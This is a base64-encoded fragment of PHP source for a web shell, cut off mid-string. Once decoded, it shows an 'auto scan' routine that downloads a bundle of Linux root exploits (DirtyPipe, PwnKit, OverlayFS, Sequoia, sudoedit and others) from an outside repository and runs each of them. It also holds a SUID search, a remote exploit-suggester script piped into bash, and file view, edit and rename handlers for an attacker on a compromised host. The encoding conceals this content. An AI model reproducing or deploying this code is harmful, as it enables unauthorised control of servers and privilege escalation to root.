dID09ICJzY2FuX3Jvb3QiKSB7CiAgICAgICAgICAgIG9iX2ltcGxpY2l0X2ZsdXNoKCk7b2JfZW5kX2ZsdXNoKCk7cygpOwogICAgICAgICAgICBlY2hvICIKICAgICAgICAgICAgPGRpdiBjbGFzcz0ndGV4dC1jZW50ZXInPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0nYnRuLWdyb3VwIG1iLTMnPgogICAgICAgICAgICAgICAgICAgIDxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSciLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddLiImaWRfdHdvPWF1dG9zY2FuJz48aSBjbGFzcz0nYmkgYmktYnVnJz48L2k+IEF1dG8gc2NhbjwvYT4KICAgICAgICAgICAgICAgICAgICA8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nIi4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXS4iJmlkX3R3bz1zY2Fuc2QnPjxpIGNsYXNzPSdiaSBiaS1zZWFyY2gnPjwvaT4gU2NhbiBTVUlEPC9hPgogICAgICAgICAgICAgICAgICAgIDxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSciLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddLiImaWRfdHdvPWVzZyc+PGkgY2xhc3M9J2JpIGJpLXNlYXJjaCc+PC9pPiBFeHBsb2l0IHN1Z2dlc3RlcjwvYT4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2Rpdj4iOwogICAgICAgICAgICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygicHJvY19vcGVuIikpIHsKICAgICAgICAgICAgICAgIGVjaG8gIjxjZW50ZXIgY2xhc3M9J2FudSc+Q29tbWFuZCBpcyBEaXNhYmxlZCAhPC9jZW50ZXI+IjsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoIWlzX3dyaXRhYmxlKCRwYXRoKSkgewogICAgICAgICAgICAgICAgZWNobyAiPGNlbnRlciBjbGFzcz0nYW51Jz5DdXJyZW50IERpcmVjdG9yeSBpcyBVbndyaXRlYWJsZSAhPC9jZW50ZXI+IjsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoaXNzZXQoJF9HRVRbJ2lkX3R3byddKSAmJiAkX0dFVFsnaWRfdHdvJ10gPT0gImF1dG9zY2FuIikgewogICAgICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cygkcGF0aC4iL3Jvb3RpbmcvIikpIHsKICAgICAgICAgICAgICAgICAgICBta2RpcigkcGF0aC4iL3Jvb3RpbmciKTsKICAgICAgICAgICAgICAgICAgICBleGVfcm9vdCgid2dldCBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vaGVrZXJwcm90enkvcm9vdHNoZWxsL21haW4vYXV0by50YXIuZ3oiLCAkcGF0aC4iL3Jvb3RpbmciKTsKICAgICAgICAgICAgICAgICAgICBleGVfcm9vdCgidGFyIC14ZiBhdXRvLnRhci5neiIsICRwYXRoLiIvcm9vdGluZyIpOwogICAgICAgICAgICAgICAgICAgIGlmICghZmlsZV9leGlzdHMoJHBhdGguIi9yb290aW5nL25ldGZpbHRlciIpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGRpZSgiPGNlbnRlciBjbGFzcz0nYW51Jz5GYWlsZWQgdG8gRG93bmxvYWQgTWF0ZXJpYWwgITwvY2VudGVyPiIpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVjaG8gJwogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29udGFpbmVyLWZsdWlkIGxhbmd1YWdlLWphdmFzY3JpcHQiPgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InNoZWxsIG1iLTMiPgogICAgICAgICAgICAgICAgICAgICAgICA8cHJlIHN0eWxlPSJmb250LXNpemU6MTBweDsiPjxjb2RlPk5ldGZpbHRlciA6ICcuZXhlX3Jvb3QoInRpbWVvdXQgMTAgLi9yb290aW5nL25ldGZpbHRlciIsICRwYXRoKS4nUHRyYWNlIDogJy5leGVfcm9vdCgiZWNobyBpZCB8IHRpbWVvdXQgMTAgLi9yb290aW5nL3B0cmFjZSIsICRwYXRoKS4nU2VxdW9pYSA6ICcuZXhlX3Jvb3QoInRpbWVvdXQgMTAgLi9yb290aW5nL3NlcXVvaWEiLCAkcGF0aCkuJ092ZXJsYXlGUyA6ICcuZXhlX3Jvb3QoImVjaG8gaWQgfCB0aW1lb3V0IDEwIC4vb3ZlcmxheWZzIiwgJHBhdGguIi9yb290aW5nIikuJ0RpcnR5cGlwZSA6ICcuZXhlX3Jvb3QoImVjaG8gaWQgfCB0aW1lb3V0IDEwIC4vcm9vdGluZy9kaXJ0eXBpcGUgL3Vzci9iaW4vc3UiLCAkcGF0aCkuJ1N1ZG8gOiAnLmV4ZV9yb290KCJlY2hvIDEyMzQ1IHwgdGltZW91dCAxMCBzdWRvZWRpdCAtcyBZIiwgJHBhdGgpLidQd25raXQgOiAnLmV4ZV9yb290KCJlY2hvIGlkIHwgdGltZW91dCAxMCAuL3B3bmtpdCIsICRwYXRoLiIvcm9vdGluZyIpLicnLmV4ZV9yb290KCJybSAtcmYgcm9vdGluZyIsICRwYXRoKS4nPC9jb2RlPjwvcHJlPgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPC9kaXY+JzsKICAgICAgICAgICAgfSBlbHNlaWYgKGlzc2V0KCRfR0VUWydpZF90d28nXSkgJiYgJF9HRVRbJ2lkX3R3byddID09ICJzY2Fuc2QiKSB7CiAgICAgICAgICAgICAgICBlY2hvICc8Y2VudGVyIGNsYXNzPSJhbnUiPlsrXSBTY2FubmluZyAuLi48L2NlbnRlcj4nOwogICAgICAgICAgICAgICAgZWNobyAnCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb250YWluZXItZmx1aWQgbGFuZ3VhZ2UtamF2YXNjcmlwdCI+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic2hlbGwgbWItMyI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxwcmUgc3R5bGU9ImZvbnQtc2l6ZToxMHB4OyI+PGNvZGU+Jy5leGVfcm9vdCgiZmluZCAvIC1wZXJtIC11PXMgLXR5cGUgZiAyPi9kZXYvbnVsbCIsICRwYXRoKS4nPC9jb2RlPjwvcHJlPgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPC9kaXY+JzsKICAgICAgICAgICAgfSBlbHNlaWYgKGlzc2V0KCRfR0VUWydpZF90d28nXSkgJiYgJF9HRVRbJ2lkX3R3byddID09ICJlc2ciKSB7CiAgICAgICAgICAgICAgICBlY2hvICc8Y2VudGVyIGNsYXNzPSJhbnUiPlsrXSBMb2FkaW5nIC4uLjwvY2VudGVyPic7CiAgICAgICAgICAgICAgICBlY2hvICcKICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbnRhaW5lci1mbHVpZCBsYW5ndWFnZS1qYXZhc2NyaXB0Ij4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzaGVsbCBtYi0zIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHByZSBzdHlsZT0iZm9udC1zaXplOjEwcHg7Ij48Y29kZT4nLmV4ZV9yb290KCJjdXJsIC1Mc2sgaHR0cDovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vbXpldC0vbGludXgtZXhwbG9pdC1zdWdnZXN0ZXIvbWFzdGVyL2xpbnV4LWV4cGxvaXQtc3VnZ2VzdGVyLnNoIHwgYmFzaCIsICRwYXRoKS4nPC9jb2RlPjwvcHJlPgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPC9kaXY+JzsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAvLyBvcGVuZmlsZQogICAgICAgIGlmKGlzc2V0KCRfN1snb3BuJ10pKSB7CiAgICAgICAgICAgICRmaWxlID0gJF83WydvcG4nXTsKICAgICAgICB9ICAgCiAgICAgICAgLy8gdmlldwogICAgICAgIGlmKCRfN1snYWN0aW9uJ10gPT0gJ3ZpZXcnKSB7CiAgICAgICAgcygpOwogICAgICAgIGVjaG8gIgogICAgICAgIDxkaXYgY2xhc3M9J2J0bi1ncm91cCc+CiAgICAgICAgICAgIDxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/ZGlyPSRwYXRoJmFjdGlvbj12aWV3Jm9wbj0kZmlsZSc+PGkgY2xhc3M9J2JpIGJpLWV5ZS1maWxsJz48L2k+PC9hPgogICAgICAgICAgICA8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP2Rpcj0kcGF0aCZhY3Rpb249ZWRpdCZvcG49JGZpbGUnPjxpIGNsYXNzPSdiaSBiaS1wZW5jaWwtc3F1YXJlJz48L2k+PC9hPgogICAgICAgICAgICA8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP2Rpcj0kcGF0aCZhY3Rpb249cmVuYW1lJm9wbj0kZmlsZSc+PGkgY2xhc3M9J2JpIGJpLXBlbmNpbC1maWxsJz48L2k+PC9hPgogICAgICAgICAgICA8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP2Rpcj0kcGF0aCZhY3Rpb249ZGVsZXRlX2ZpbGUmb3BuPSRmaWxlJz48aSBjbGFzcz0nYmkgYmktdHJhc2gtZmlsbCc+PC9pPjwvYT4KICAgICAgICAgICAgPGEgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIGhyZWY9Jz9kaXI9JHBhdGgmYWN0aW9uPWRvd25sb2FkJm9wbj0kZmlsZSc+PGkgY2xhc3M9J2JpIGJpLWRvd25sb2FkJz48L2k+PC9hPgogICAgICAgIDwvZGl2PgogICAgICAgIDxicj4KICAgICAgICAgICAgPGkgY2xhc3M9J2JpIGJpLWZpbGUtZWFybWFyayc+PC9pPjombmJzcDsiLmJhc2VuYW1lKCRmaWxlKS4iCiAgICAgICAgPC9icj4KICAgICAgICA8ZGl2IGNsYXNzPSdiZy1kYXJrJz4KICAgICAgICAgICAgPGRpdiBjbGFzcz0nY29udGFpbmVyLWZsdWlkIGxhbmd1YWdlLWphdmFzY3JpcHQnPgogICAgICAgICAgICAgICAgPHRleHRhcmVhIHJvd3M9JzEwJyBjbGFzcz0nZm9ybS1jb250cm9sJyBkaXNhYmxlZD0nJz4iLmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJGZpbGUpKS4iPC90ZXh0YXJlYT4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+IjsKICAgICAgICB9CiAgICAgICAgLy8gZWRpdAogICAgICAgIGlmKGlzc2V0KCRfN1snZWRpdF9maWxlJ10pKSB7CiAgICAgICAgICAgICR1cGR0ID0gZm9wZW4oIiRmaWxlIiwgInciKTsKICAgICAgICAgICAgJHJlc3VsdCA9IGZ3cml0ZSgkdXBkdCwgJF83Wydjb250ZW50cyddKTsgICAgICAgCiAgICAgICAgICAgIGlmICgkcmVzdWx0KSB7CiAgICAgICAgZWNobyAnPHN0cm9uZz5FZGl0IGZpbGU8L3N0cm9uZz4gb2shICcub2soKS4nPC9kaXY+JzsKICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgZWNobyAnPHN0cm9uZz5FZGl0IGZpbGU8L3N0cm9uZz4gZmFpbCEgJy5lcigpLic8L2Rpdj4nOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGlmKCRfN1snYWN0aW9uJ10gPT0gJ2VkaXQnKSB7CiAgICAgICAgcygpOwogICAgICAgIGVjaG8gIgogICAgICAgIDxkaXYgY2xhc3M9J2J0bi1ncm91cCc+CiAgICAgICAgICAgIDxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/ZGlyPSRwYXRoJmFjdGlvbj12aWV3Jm9wbj0kZmlsZSc+PGkgY2xhc3M9J2JpIGJpLWV5ZS1maWxsJz48L2k+PC9hPgogICAgICAgICAgICA8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP2Rpcj0kcGF0aCZhY3Rpb249ZWRpdCZvcG49JGZpbGUnPjxpIGNsYXNzPSdiaSBiaS1wZW5jaWwtc3F1YXJlJz48L2k+PC9hPgogICAgICAgICAgICA8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP2Rpcj0kcGF0aCZhY3Rpb249cmVuYW1lJm9wbj0kZmlsZSc+PGkgY2xhc3M9J2JpIGJpLXBlbmNpbC1maWxsJz48L2k+PC9hPgogICAgICAgICAgICA8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP2Rpcj0kcGF0aCZhY3Rpb249ZGVsZXRlX2ZpbGUmb3BuPSRmaWxlJz48aSBjbGFzcz0nYmkgYmktdHJhc2gtZmlsbCc+PC9pPjwvYT4KICAgICAgICAgICAgPGEgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIGhyZWY9Jz9kaXI9JHBhdGgmYWN0aW9uPWRvd25sb2FkJm9wbj0kZmlsZSc+PGkgY2xhc3M9J2JpIGJpLWRvd25sb2FkJz48L2k+PC9hPgogICAgICAgIDwvZGl2PgogICAgICAgIDxicj4KICAgICAgICAgICAgPGkgY2xhc3M9J2JpIGJpLWZpbGUtZWFybWFyayc+PC9pPjombmJzcDsiLmJhc2VuYW1lKCRmaWxlKS4iCiAgICAgICAgPC9icj4KICAgICAgICA8Zm9ybSBtZXRob2Q9J1BPU1QnPgogICAgICAgICAgICA8dGV4dGFyZWEgY2xhc3M9J2Zvcm0tY29udHJvbCBidG4tc20nIHJvd3M9JzEwJyBuYW1lPSdjb250ZW50cycgJF9yPiIuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkZmlsZSkpLiI8L3RleHRhcmVhPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSdkLWdyaWQgZ2FwLTInPgogICAgICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgdHlwZT0nc3VtYml0JyBuYW1lPSdlZGl0X2ZpbGUnPjxpIGNsYXNzPSdiaSBiaS1hcnJvdy1yZXR1cm4tcmlnaHQnPjwvaT48L2J1dHRvbj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9mb3JtPiI7CiAgICAgICAgfQogICAgICAgIC8vcmVuYW1lIGZvbGRlcgogICAgICAgIGlmKCRfN1snYWN0aW9uJ10gPT0gJ3JlbmFtZV9mb2xkZXInKSB7CiAgICAgICAgICAgIGlmKCRfN1sncl9kJ10pIHsKICAgICAgICAgICAgICAgICRyX2QgPSByZW5hbWUoJGRpciwgIiIuZGlybmFtZSgkZGlyKS4iLyIuaHRtbHNwZWNpYWxjaGFycygkXzdbJ3JfZCddKS4iIik7CiAgICAgICAgICAgICAgICBpZigkcl9kKSB7CiAgICAgICAgZWNobyAnPHN0cm9uZz5SZW5hbWUgZm9sZGVyPC9zdHJvbmc+IG9rISAnLm9rKCkuJzxhIGNsYXNzPSJidG4tY2xvc2UiIGhyZWY9Ij9wYXRoPScuZGlybmFtZSgkZGlyKS4nIj48L2E+PC9kaXY+JzsKICAgICAgICAgICAgICAgIH1lbHNlewogICAgICAgIGVjaG8gJzxzdHJvbmc+UmVuYW1lIGZvbGRlcjwvc3Ryb25nPiBmYWlsISAnLmVyKCkuJzxhIGNsYXNzPSJidG4tY2xvc2UiIGhyZWY9Ij9wYXRoPScuZGlybmFtZSgkZGlyKS4nIj48L2E+PC9kaXY+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIHMoKTsKICAgICAgICBlY2hvICIKICAgICAgICA8ZGl2IGNsYXNzPSdidG4tZ3JvdXAnPgogICAgICAgICAgICA8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP2Rpcj0kcGF0aCZhY3Rpb249cmVuYW1lX2ZvbGRlcic+PGkgY2xhc3M9J2JpIGJpLXBlbmNpbC1maWxsJz48L2k+PC9hPgogICAgICAgICAgICA8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP2Rpcj0kcGF0aCZhY3Rpb249ZGVsZXRlX2ZvbGRlcic+PGkgY2xhc3M9J2JpIGJpLXRyYXNoLWZpbGwnPjwvaT48L2E+CiAgICAgICAgPC9kaXY+CiAgICAgICAgPGJyPgogICAgICAgICAgICA8aSBjbGFzcz0nYmkgYmktZm9sZGVyLWZpbGwnPjwvaT46Jm5ic3A7Ii5iYXNlbmFtZSgkZGlyKS4iCiAgICAgICAgPC9icj4KICAgICAgICA8Zm9ybSBtZXRob2Q9J1BPU1QnPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSdpbnB1dC1ncm91cCc+CiAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9J2Zvcm0tY29udHJvbCBidG4tc20nIHR5cGU9J3RleHQnIHZhbHVlPSciLmJhc2VuYW1lKCRkaXIpLiInIG5hbWU9J3JfZCcgJF9yPgogICAgICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgdHlwZT0nc3VibWl0Jz48aSBjbGFzcz0nYmkgYmktYXJyb3ctcmV0dXJuLXJpZ2h0Jz48L2k+PC9idXR0b24+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZm9ybT4iOwogICAgICAgIH0KICAgICAgICAvL3JlbmFtZSBmaWxlCiAgICAgICAgaWYoaXNzZXQoJF83WydyX2YnXSkpIHsKICAgICAgICAgICAgJG9sZCA9ICRmaWxlOwogICAgICAgICAgICAkbmV3ID0gJF83WyduZXdfbmFtZSddOwogICAgICAgICAgICByZW5hbWUoJG5ldywgJG9sZCk7CiAgICAgICAgICA